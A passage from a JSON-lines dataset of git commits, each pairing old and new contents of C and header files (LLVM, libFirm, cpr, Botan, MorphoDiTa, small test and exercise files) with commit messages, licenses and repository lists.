*) a3();\n\nauto abc() -> __typeof(x)\n{\n}\n\n__typeof(x) xyz()\n{\n}\n","subject":"Add trailing return type to type printing test","message":"Add trailing return type to type printing test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"1747dc4dc9b0f7db03236510573e2b13bd4f90f2","old_file":"tests\/regression\/36-octapron\/18-branch2.c","new_file":"tests\/regression\/36-octapron\/18-branch2.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n\/\/ Based on 36\/09.\n#include <assert.h>\n\nvoid main() {\n  int i;\n  if (i) { \/\/ same as i != 0\n    \/\/ only implies i != 0\n    \/\/ doesn't imply i > 0\n    \/\/ doesn't imply i >= 1\n    assert(i >= 1); \/\/ UNKNOWN!\n  }\n  else {\n    \/\/ implies i == 0\n    \/\/ doesn't imply i < 0\n    assert(i == 0);\n    assert(i < 0); \/\/ FAIL\n  }\n}\n","subject":"Add regression test where octApron knows too much about branch","message":"Add regression test where octApron knows too much about branch\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c0fa902a79201a7a14e512dba584800c4b106c2a","old_file":"c++\/Cutie.h","new_file":"c++\/Cutie.h","old_contents":"#ifndef _CUTIE_H_\n#define _CUTIE_H_\n\nclass Cutie\n{\nprivate:\n\tbool respondsToHugs;\n\tunsigned int hugs;\n\tunsigned int tlc;\n\npublic:\n\tCutie();\n\npublic:\n\tvoid setAcceptsHugs(bool value);\n\tbool acceptsHugs();\n\n\tvoid hug();\n\tvoid empathy();\n\n\tunsigned int showHugs();\n\tunsigned int showTlc();\n};\n\n#endif\n","new_contents":"#ifndef _CUTIE_H_\n#define _CUTIE_H_\n\nclass Cutie\n{\nprivate:\n\tbool respondsToHugs;\n\tunsigned int hugs;\n\tunsigned int tlc;\n\npublic:\n\tCutie();\n\n\tvoid setAcceptsHugs(bool value);\n\tbool acceptsHugs();\n\n\tvoid hug();\n\tvoid empathy();\n\n\tunsigned int showHugs();\n\tunsigned int showTlc();\n};\n\n#endif\n","subject":"Remove extra public declaration (still compiles but extraneous)","message":"Remove extra public declaration (still compiles but extraneous)\n","lang":"C","license":"cc0-1.0","repos":"seancorfield\/maybe-hugs,yurrriq\/maybe-hugs,iarna\/maybe-hugs,isaacs\/maybe-hugs,yurrriq\/maybe-hugs,reezer\/maybe-hugs,seancorfield\/maybe-hugs,dariaphoebe\/maybe-hugs,isaacs\/maybe-hugs,airportyh\/maybe-hugs,gs-akhan\/maybe-hugs,seancorfield\/maybe-hugs,dariaphoebe\/maybe-hugs,yurrriq\/maybe-hugs,dariaphoebe\/maybe-hugs,dariaphoebe\/maybe-hugs,airportyh\/maybe-hugs,iarna\/maybe-hugs,dariaphoebe\/maybe-hugs,dariaphoebe\/maybe-hugs,airportyh\/maybe-hugs,iarna\/maybe-hugs,seancorfield\/maybe-hugs,reezer\/maybe-hugs,gs-akhan\/maybe-hugs,isaacs\/maybe-hugs,airportyh\/maybe-hugs,iarna\/maybe-hugs,yurrriq\/maybe-hugs,yurrriq\/maybe-hugs,yurrriq\/maybe-hugs,gs-akhan\/maybe-hugs,airportyh\/maybe-hugs,dariaphoebe\/maybe-hugs,seancorfield\/maybe-hugs,seancorfield\/maybe-hugs,dariaphoebe\/maybe-hugs,dariaphoebe\/maybe-hugs,iarna\/maybe-hugs,iarna\/maybe-hugs,reezer\/maybe-hugs,gs-akhan\/maybe-hugs,dariaphoebe\/maybe-hugs,gs-akhan\/maybe-hugs,yurrriq\/maybe-hugs,yurrriq\/maybe-hugs,gs-akhan\/maybe-hugs,iarna\/maybe-hugs,iarna\/maybe-hugs,seancorfield\/maybe-hugs,gs-akhan\/maybe-hugs,airportyh\/maybe-hugs,seancorfield\/maybe-hugs,isaacs\/maybe-hugs,dariaphoebe\/maybe-hugs,reezer\/maybe-hugs,iarna\/maybe-hugs,reezer\/maybe-hugs,airportyh\/maybe-hugs,isaacs\/maybe-hugs,gs-akhan\/maybe-hugs,airportyh\/maybe-hugs,reezer\/maybe-hugs,reezer\/maybe-hugs,dariaphoebe\/maybe-hugs,reezer\/maybe-hugs,seancorfield\/maybe-hugs,dariaphoebe\/maybe-hugs,yurrriq\/maybe-hugs,yurrriq\/maybe-hugs,isaacs\/maybe-hugs,isaacs\/maybe-hugs,iarna\/maybe-hugs,reezer\/maybe-hugs,reezer\/maybe-hugs,seancorfield\/maybe-hugs,isaacs\/maybe-hugs"}
{"commit":"086610926fb12b35881c06d40c295be81ddc3173","old_file":"include\/llvm\/CodeGen\/Passes.h","new_file":"include\/llvm\/CodeGen\/Passes.h","old_contents":"\/\/===-- Passes.h - Target independent code generation passes ----*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines interfaces to access the target independent code generation\n\/\/ passes provided by the LLVM backend.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_PASSES_H\n#define LLVM_CODEGEN_PASSES_H\n\nclass FunctionPass;\nclass PassInfo;\n\n\/\/ PHIElimination pass - This pass eliminates machine instruction PHI nodes by\n\/\/ inserting copy instructions.  This destroys SSA information, but is the\n\/\/ desired input for some register allocators.  This pass is \"required\" by these\n\/\/ register allocator like this:  AU.addRequiredID(PHIEliminationID);\n\/\/\nextern const PassInfo *PHIEliminationID;\n\n\/\/\/ SimpleRegisterAllocation Pass - This pass converts the input machine code\n\/\/\/ from SSA form to use explicit registers by spilling every register.  Wow,\n\/\/\/ great policy huh?\n\/\/\/\nFunctionPass *createSimpleRegisterAllocator();\n\n\/\/\/ LocalRegisterAllocation Pass - This pass register allocates the input code a\n\/\/\/ basic block at a time, yielding code better than the simple register\n\/\/\/ allocator, but not as good as a global allocator.\n\/\/\/ \nFunctionPass *createLocalRegisterAllocator();\n\n\/\/\/ PrologEpilogCodeInserter Pass - This pass inserts prolog and epilog code,\n\/\/\/ and eliminates abstract frame references.\n\/\/\/\nFunctionPass *createPrologEpilogCodeInserter();\n\n#endif\n","new_contents":"\/\/===-- Passes.h - Target independent code generation passes ----*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines interfaces to access the target independent code generation\n\/\/ passes provided by the LLVM backend.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_PASSES_H\n#define LLVM_CODEGEN_PASSES_H\n\nclass FunctionPass;\nclass PassInfo;\n\n\/\/ PHIElimination pass - This pass eliminates machine instruction PHI nodes by\n\/\/ inserting copy instructions.  This destroys SSA information, but is the\n\/\/ desired input for some register allocators.  This pass is \"required\" by these\n\/\/ register allocator like this:  AU.addRequiredID(PHIEliminationID);\n\/\/\nextern const PassInfo *PHIEliminationID;\n\n\/\/\/ SimpleRegisterAllocation Pass - This pass converts the input machine code\n\/\/\/ from SSA form to use explicit registers by spilling every register.  Wow,\n\/\/\/ great policy huh?\n\/\/\/\nFunctionPass *createSimpleRegisterAllocator();\n\n\/\/\/ LocalRegisterAllocation Pass - This pass register allocates the input code a\n\/\/\/ basic block at a time, yielding code better than the simple register\n\/\/\/ allocator, but not as good as a global allocator.\n\/\/\/ \nFunctionPass *createLocalRegisterAllocator();\n\n\/\/\/ PrologEpilogCodeInserter Pass - This pass inserts prolog and epilog code,\n\/\/\/ and eliminates abstract frame references.\n\/\/\/\nFunctionPass *createPrologEpilogCodeInserter();\n\n\n\/\/\/ getRegisterAllocator - This creates an instance of the register allocator\n\/\/\/ for the Sparc.\nFunctionPass *getRegisterAllocator(TargetMachine &T);\n\n#endif\n","subject":"Include the sparc register in this file","message":"Include the sparc register in this file\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@8794 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"446c2832aec39f82b29cfa60768fcf866e015a23","old_file":"01\/ex-05.c","new_file":"01\/ex-05.c","old_contents":"","new_contents":"#include <stdio.h>\n\nmain()\n{\n  int fahr;\n\n  for (fahr = 300; fahr >= 0; fahr = fahr - 20)\n    printf(\"%3d %6.1f\\n\", fahr, (5.0\/9.0) * (fahr - 32.0));\n}\n","subject":"Solve exercise of Chapter 1, Paragraph 3.","message":"Solve exercise of Chapter 1, Paragraph 3.\n","lang":"C","license":"mit","repos":"jacquerie\/c-k-r"}
{"commit":"293b03cae0d5237f699905bc09425d29027bb2a7","old_file":"forth\/src\/stack_machine\/compiler.c","new_file":"forth\/src\/stack_machine\/compiler.c","old_contents":"#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n\n#include <stack_machine\/common.h>\n#include <stack_machine\/compiler.h>\n\nstate_t __DOLIT(context_t *ctx)\n{\n    pushnum(ctx->ds, (*(int *)ctx->ip++));\n    return OK;\n}\n\nvoid literal(context_t *ctx, int n)\n{\n    static entry_t dolit = { .code_ptr = &__DOLIT };\n    compile(ctx, 2, &dolit, n);\n}\n\nvoid compile(context_t *ctx, int n, ...)\n{\n    va_list params;\n    va_start(params, n);\n\n    for (int i = 0; i < n; i++)\n    {\n        word_t arg = va_arg(params, word_t);\n        comma(ctx, arg);\n    }\n\n    va_end(params);\n}","new_contents":"#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n\n#include <stack_machine\/common.h>\n#include <stack_machine\/compiler.h>\n\nstate_t __DOLIT(context_t *ctx)\n{\n    pushnum(ctx->ds, (*(int *)ctx->ip++));\n    return OK;\n}\n\nvoid literal(context_t *ctx, int n)\n{\n    static entry_t dolit = { .code_ptr = &__DOLIT, .name = \"DOLIT\" };\n    compile(ctx, 2, &dolit, n);\n}\n\nvoid compile(context_t *ctx, int n, ...)\n{\n    va_list params;\n    va_start(params, n);\n\n    for (int i = 0; i < n; i++)\n    {\n        word_t arg = va_arg(params, word_t);\n        comma(ctx, arg);\n    }\n\n    va_end(params);\n}\n","subject":"Add name to DOLIT entry","message":"Add name to DOLIT entry","lang":"C","license":"mit","repos":"rm-hull\/byok,rm-hull\/byok,rm-hull\/byok,rm-hull\/byok"}
{"commit":"391c2f8f921c7e16737d55920632629461f97b8f","old_file":"src\/wd.h","new_file":"src\/wd.h","old_contents":"\/*\n   Copyright 2015 John Bailey\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#if !defined WD_H\n#define      WD_H\n\n#define WD_SUCCESS -1\n#define WD_GENERIC_FAIL 0\n#define WD_SUCCEEDED( _x ) (( _x ) == WD_SUCCESS )\n\n#endif\n","new_contents":"\/*\n   Copyright 2015 John Bailey\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#if !defined WD_H\n#define      WD_H\n\n#define WD_SUCCESS -1\n#define WD_GENERIC_FAIL 0\n#define WD_SUCCEEDED( _x ) (( _x ) == WD_SUCCESS )\n\n#if defined WIN32\n\/** Printf format string for size_t *\/\n#define PFFST \"%Iu\"\n#else\n#define PFFST \"%zu\"\n#endif\n\n#endif\n","subject":"Add platform-specific string formatters for size_t","message":"Add platform-specific string formatters for size_t\n","lang":"C","license":"apache-2.0","repos":"bright-tools\/wd,bright-tools\/wd,bright-tools\/wd"}
{"commit":"22340a683f685a094dec12482fc754edb2913391","old_file":"iOS\/BleToolBox\/BleToolBox\/Model\/Beacon\/BleBeaconSigninModel.h","new_file":"iOS\/BleToolBox\/BleToolBox\/Model\/Beacon\/BleBeaconSigninModel.h","old_contents":"\/\/\n\/\/  BleBeaconSignInModel.h\n\/\/  BleToolBox\n\/\/\n\/\/  Created by Mark on 2018\/1\/26.\n\/\/  Copyright © 2018年 MarkCJ. All rights reserved.\n\/\/\n\n#import \"BleBaseModel.h\"\n\n@interface BleBeaconSignInModel : BleBaseModel\n\n@property NSString *beaconName;             \/\/ the beacon name.\n@property NSString *beaconDeviceUUID;       \/\/ the beacon UUID.\n@property NSString *beaconServiceUUID;      \/\/ the beacon service UUID.\n@property NSInteger signInRSSI;             \/\/ the beacon RSSI when sign in.\n@property NSDate *signInTime;               \/\/ time then sign in.\n\n\/**\n Init the beacon model by beacon information\n \n @param name            Device name\n @param deviceUUID      Device UUID\n @param serviceUUID     Device Service UUID\n @param rssi            RSSI value\n @param time            Sign in time\n @return\n *\/\n-(instancetype)initWithBeaconName:(NSString *)name deviceUUID:(NSString *)deviceUUID serviceUUID:(NSString *)serviceUUID RSSI:(NSInteger)rssi signInTime:(NSDate *)time;\n\n@end\n","new_contents":"\/\/\n\/\/  BleBeaconSignInModel.h\n\/\/  BleToolBox\n\/\/\n\/\/  Created by Mark on 2018\/1\/26.\n\/\/  Copyright © 2018年 MarkCJ. All rights reserved.\n\/\/\n\n#import \"BleBaseModel.h\"\n\n@interface BleBeaconSignInModel : BleBaseModel\n\n@property NSString *beaconName;             \/\/ the beacon name.\n@property NSString *beaconDeviceUUID;       \/\/ the beacon UUID.\n@property NSString *beaconServiceUUID;      \/\/ the beacon service UUID.\n@property NSInteger signInRSSI;             \/\/ the beacon RSSI when sign in.\n@property NSDate *signInTime;               \/\/ time then sign in.\n\n\/**\n Init the beacon model by beacon information\n \n @param name            Device name\n @param deviceUUID      Device UUID\n @param serviceUUID     Device Service UUID\n @param rssi            RSSI value\n @param time            Sign in time\n *\/\n-(instancetype)initWithBeaconName:(NSString *)name deviceUUID:(NSString *)deviceUUID serviceUUID:(NSString *)serviceUUID RSSI:(NSInteger)rssi signInTime:(NSDate *)time;\n\n@end\n","subject":"Update the source code file names","message":"Update the source code file names\n","lang":"C","license":"mit","repos":"ChenJian345\/BleSensorConnect"}
{"commit":"106d4d7bf624103cb96f9d7998a90e2d40969df2","old_file":"DKCategories\/NSData+DK.h","new_file":"DKCategories\/NSData+DK.h","old_contents":"\/\/\n\/\/  NSData+DK.h\n\/\/\n\/\/  Created by dkhamsing on 2\/24\/14.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSData (DK)\n\n\/**\n Load session cookies.\n Credits: http:\/\/stackoverflow.com\/questions\/14387662\/afnetworking-persisting-cookies-automatically\n *\/\n+ (void)dk_cookiesLoad;\n\n\/**\n Save session cookies.\n Credits: http:\/\/stackoverflow.com\/questions\/14387662\/afnetworking-persisting-cookies-automatically\n *\/\n\n+ (void)dk_cookiesSave;\n\n@end\n","new_contents":"\/\/\n\/\/  NSData+DK.h\n\/\/\n\/\/  Created by dkhamsing on 2\/24\/14.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSData (DK)\n\n\/**\n Load session cookies.\n @param log Boolean that outputs with NSLog.\n Credits: http:\/\/stackoverflow.com\/questions\/14387662\/afnetworking-persisting-cookies-automatically\n *\/\n+ (void)dk_cookiesLoadWithLog:(BOOL)log;\n\n\n\/**\n Load session cookies without logging.\n *\/\n+ (void)dk_cookiesLoad;\n\n\n\/**\n Save session cookies.\n Credits: http:\/\/stackoverflow.com\/questions\/14387662\/afnetworking-persisting-cookies-automatically\n *\/\n\n+ (void)dk_cookiesSave;\n\n\n@end\n","subject":"Add log option for loading cookies","message":"Add log option for loading cookies\n","lang":"C","license":"mit","repos":"dkhamsing\/DKCategories"}
{"commit":"1006b58e857248f7979970663a4080e9d900f7eb","old_file":"include\/cpr\/low_speed.h","new_file":"include\/cpr\/low_speed.h","old_contents":"#ifndef CPR_LOW_SPEED_H\n#define CPR_LOW_SPEED_H\n\n#include <cstdint>\n\nnamespace cpr {\n\nclass LowSpeed {\n  public:\n    LowSpeed(const std::int32_t& limit, const std::int32_t& time) : limit(limit), time(time) {}\n\n    std::int32_t limit;\n    std::int32_t time;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_LOW_SPEED_H\n#define CPR_LOW_SPEED_H\n\n#include <cstdint>\n\nnamespace cpr {\n\nclass LowSpeed {\n  public:\n    LowSpeed(const std::int32_t limit, const std::int32_t time) : limit(limit), time(time) {}\n\n    std::int32_t limit;\n    std::int32_t time;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Use primitive std::int32_t instead of reference type","message":"Use primitive std::int32_t instead of reference type\n","lang":"C","license":"mit","repos":"whoshuu\/cpr,whoshuu\/cpr,msuvajac\/cpr,msuvajac\/cpr,msuvajac\/cpr,whoshuu\/cpr"}
{"commit":"a2f0f545fcae7419b4daf83ed0032d9ad28e7b49","old_file":"ir\/common\/firm_common.c","new_file":"ir\/common\/firm_common.c","old_contents":"\/*\n * This file is part of libFirm.\n * Copyright (C) 2012 University of Karlsruhe.\n *\/\n\n\/**\n * @file\n * @author    Martin Trapp, Christian Schaefer, Goetz Lindenmaier, Michael Beck\n *\/\n#include \"irloop.h\"\n#include \"tv.h\"\n\n\/**\n * Ideally, this macro would check if size bytes could be read at\n * pointer p. No generic solution.\n *\/\n#define POINTER_READ(p, size) (p)\n\n\/* returns the kind of the thing *\/\nfirm_kind get_kind(const void *firm_thing)\n{\n\treturn POINTER_READ(firm_thing, sizeof(firm_kind)) ? *(firm_kind *)firm_thing : k_BAD;\n}\n","new_contents":"\/*\n * This file is part of libFirm.\n * Copyright (C) 2012 University of Karlsruhe.\n *\/\n\n\/**\n * @file\n * @author    Martin Trapp, Christian Schaefer, Goetz Lindenmaier, Michael Beck\n *\/\n#include \"irloop.h\"\n#include \"tv.h\"\n\n\/* returns the kind of the thing *\/\nfirm_kind get_kind(const void *firm_thing)\n{\n\treturn *(firm_kind*)firm_thing;\n}\n","subject":"Remove the unimplemented macro POINTER_READ().","message":"Remove the unimplemented macro POINTER_READ().\n","lang":"C","license":"lgpl-2.1","repos":"killbug2004\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,8l\/libfirm,8l\/libfirm,8l\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,8l\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,8l\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,8l\/libfirm,jonashaag\/libfirm,libfirm\/libfirm,8l\/libfirm,killbug2004\/libfirm,libfirm\/libfirm"}
{"commit":"e8573c1ef5fdff5b2a486d45916cfaaa3f959d62","old_file":"testmud\/mud\/home\/Text\/sys\/bin\/wiz\/tool\/fulldump.c","new_file":"testmud\/mud\/home\/Text\/sys\/bin\/wiz\/tool\/fulldump.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_WIZBIN;\n\nvoid main(string args)\n{\n\tint count;\n\n\tif (query_user()->query_class() < 3) {\n\t\tsend_out(\"You do not have sufficient access rights to dump the mud.\\n\");\n\t\treturn;\n\t}\n\n\tproxy_call(\"dump_state\");\n}\n","subject":"Add command to allow non incremental statedumps","message":"Add command to allow non incremental statedumps\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"d6342526a24fbfbffb77a1ae58afcafcad4207cf","old_file":"parser_tests.c","new_file":"parser_tests.c","old_contents":"#include \"parser.h\"\n#include \"ast.h\"\n#include \"tests.h\"\n\nvoid test_parse_number();\n\nint main() {\n    test_parse_number();\n    return 0;\n}\n\nstruct token *make_token(enum token_type tk_type, char* str, double dbl,\n        int number) {\n    struct token *tk = malloc(sizeof(struct token));\n    tk->type = tk_type;\n    if (tk_type == tok_dbl) {\n        tk->value.dbl = dbl;\n    } else if (tk_type == tok_number) {\n        tk->value.num = number;\n    } else {\n        tk->value.string = str;\n    }\n    return tk;\n}\n\nvoid test_parse_number() {\n    struct token_list *tkl = make_token_list();\n    struct token *tk = make_token(tok_number, NULL, 0.0, 42);\n    append_token_list(tkl, tk);\n    struct ast_node *result = parse_number(tkl);\n    EXPECT_EQ(result->val, tk);\n    EXPECT_EQ(result->num_children, 0);\n    destroy_token_list(tkl);\n}\n","new_contents":"#include \"parser.h\"\n#include \"ast.h\"\n#include \"tests.h\"\n\nvoid test_parse_number();\n\nint main() {\n    test_parse_number();\n    return 0;\n}\n\nstruct token *make_token(enum token_type tk_type, char* str, double dbl,\n        int number) {\n    struct token *tk = malloc(sizeof(struct token));\n    tk->type = tk_type;\n    if (tk_type == tok_dbl) {\n        tk->value.dbl = dbl;\n    } else if (tk_type == tok_number) {\n        tk->value.num = number;\n    } else {\n        tk->value.string = str;\n    }\n    return tk;\n}\n\nvoid test_parse_number() {\n    struct token_list *tkl = make_token_list();\n    struct token *tk = make_token(tok_number, NULL, 0.0, 42);\n    append_token_list(tkl, tk);\n    struct ast_node *result = parse_number(tkl);\n    EXPECT_EQ(result->val, tk);\n    EXPECT_EQ(result->num_children, 0);\n    destroy_token_list(tkl);\n    delete_node(result);\n}\n","subject":"Fix memory leak in tests","message":"Fix memory leak in tests\n","lang":"C","license":"mit","repos":"iankronquist\/yaz,iankronquist\/yaz"}
{"commit":"9ca06fd4ac08a7a19040c2fe62698d8b6da03395","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"\/\/ This file is part of MorphoDiTa <http:\/\/github.com\/ufal\/morphodita\/>.\n\/\/\n\/\/ Copyright 2015 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n\/\/ Headers available in all sources\n#include <cassert>\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <iomanip>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <vector>\n\n\/\/ Assert that int is at least 4B\nstatic_assert(sizeof(int) >= sizeof(int32_t), \"Int must be at least 4B wide!\");\n\n\/\/ Assert that we are on a little endian system\n#ifdef __BYTE_ORDER__\nstatic_assert(__BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__, \"Only little endian systems are supported!\");\n#endif\n\n#define runtime_failure(message) exit((cerr << message << endl, 1))\n\n\/\/ Define namespace ufal::morphodita.\nnamespace ufal {\nnamespace morphodita {\n\nusing namespace std;\n\n} \/\/ namespace morphodita\n} \/\/ namespace ufal\n","new_contents":"\/\/ This file is part of MorphoDiTa <http:\/\/github.com\/ufal\/morphodita\/>.\n\/\/\n\/\/ Copyright 2015 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n\/\/ Headers available in all sources\n#include <cassert>\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <iomanip>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <vector>\n\n\/\/ Define namespace ufal::morphodita.\nnamespace ufal {\nnamespace morphodita {\n\nusing namespace std;\n\n\/\/ Assert that int is at least 4B\nstatic_assert(sizeof(int) >= sizeof(int32_t), \"Int must be at least 4B wide!\");\n\n\/\/ Assert that we are on a little endian system\n#ifdef __BYTE_ORDER__\nstatic_assert(__BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__, \"Only little endian systems are supported!\");\n#endif\n\n#define runtime_failure(message) exit((cerr << message << endl, 1))\n\n} \/\/ namespace morphodita\n} \/\/ namespace ufal\n","subject":"Move namespaces declarations to the top of the file.","message":"Move namespaces declarations to the top of the file.\n","lang":"C","license":"mpl-2.0","repos":"ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita"}
{"commit":"f6703dd4d3aa5ba9a8e19597a9477e78fc248466","old_file":"RVCalendarWeekView\/Lib\/Views\/MSEvent.h","new_file":"RVCalendarWeekView\/Lib\/Views\/MSEvent.h","old_contents":"\/\/\n\/\/  AKEvent.h\n\/\/  Example\n\/\/\n\/\/  Created by ak on 18.01.2016.\n\/\/  Copyright © 2016 Eric Horacek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"DTTimePeriod.h\"\n\n@interface MSEvent : DTTimePeriod\n\n@property (nonatomic, strong) NSString  *title;\n@property (nonatomic, strong) NSString  *location;\n\n+(instancetype)make:(NSDate*)start title:(NSString*)title subtitle:(NSString*)subtitle;\n+(instancetype)make:(NSDate*)start end:(NSDate*)end title:(NSString*)title subtitle:(NSString*)subtitle;\n\n+(instancetype)make:(NSDate*)start duration:(int)minutes title:(NSString*)title subtitle:(NSString*)subtitle;\n\n- (NSDate *)day;\n\n@end","new_contents":"\/\/\n\/\/  AKEvent.h\n\/\/  Example\n\/\/\n\/\/  Created by ak on 18.01.2016.\n\/\/  Copyright © 2016 Eric Horacek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <DateTools\/DTTimePeriod.h>\n\n@interface MSEvent : DTTimePeriod\n\n@property (nonatomic, strong) NSString  *title;\n@property (nonatomic, strong) NSString  *location;\n\n+(instancetype)make:(NSDate*)start title:(NSString*)title subtitle:(NSString*)subtitle;\n+(instancetype)make:(NSDate*)start end:(NSDate*)end title:(NSString*)title subtitle:(NSString*)subtitle;\n\n+(instancetype)make:(NSDate*)start duration:(int)minutes title:(NSString*)title subtitle:(NSString*)subtitle;\n\n- (NSDate *)day;\n\n@end","subject":"Fix include of DTTimePeriod in DateTools cocoapod","message":"Fix include of DTTimePeriod in DateTools cocoapod\n\nThis fixes an issue when RVCalendarWeekView is compiled as a cocoapod framework (`use_frameworks!` in the Podfile), where cocoapods no longer allows pods to be references with user library imports (anything using quotes), and requires them to be imported as if they were a system framework (using angle brackets and using the framework as the folder).\n","lang":"C","license":"mit","repos":"ConnectCorp\/RVCalendarWeekView,BadChoice\/RVCalendarWeekView"}
{"commit":"70b855c84855aa33ab8411d24b9dd0b78ecbffcb","old_file":"src\/hash\/sha1_sse2\/sha1_sse2.h","new_file":"src\/hash\/sha1_sse2\/sha1_sse2.h","old_contents":"\/*\n* SHA-160\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_SHA_160_SSE2_H__\n#define BOTAN_SHA_160_SSE2_H__\n\n#include <botan\/sha160.h>\n\nnamespace Botan {\n\n\/*\n* SHA-160\n*\/\nclass BOTAN_DLL SHA_160_SSE2 : public SHA_160\n   {\n   public:\n      HashFunction* clone() const { return new SHA_160_SSE2; }\n      SHA_160_SSE2() : SHA_160(0) {} \/\/ no W needed\n   private:\n      void compress_n(const byte[], u32bit blocks);\n   };\n\nextern \"C\" void botan_sha1_sse2_compress(u32bit[5], const u32bit*);\n\n}\n\n#endif\n","new_contents":"\/*\n* SHA-160\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_SHA_160_SSE2_H__\n#define BOTAN_SHA_160_SSE2_H__\n\n#include 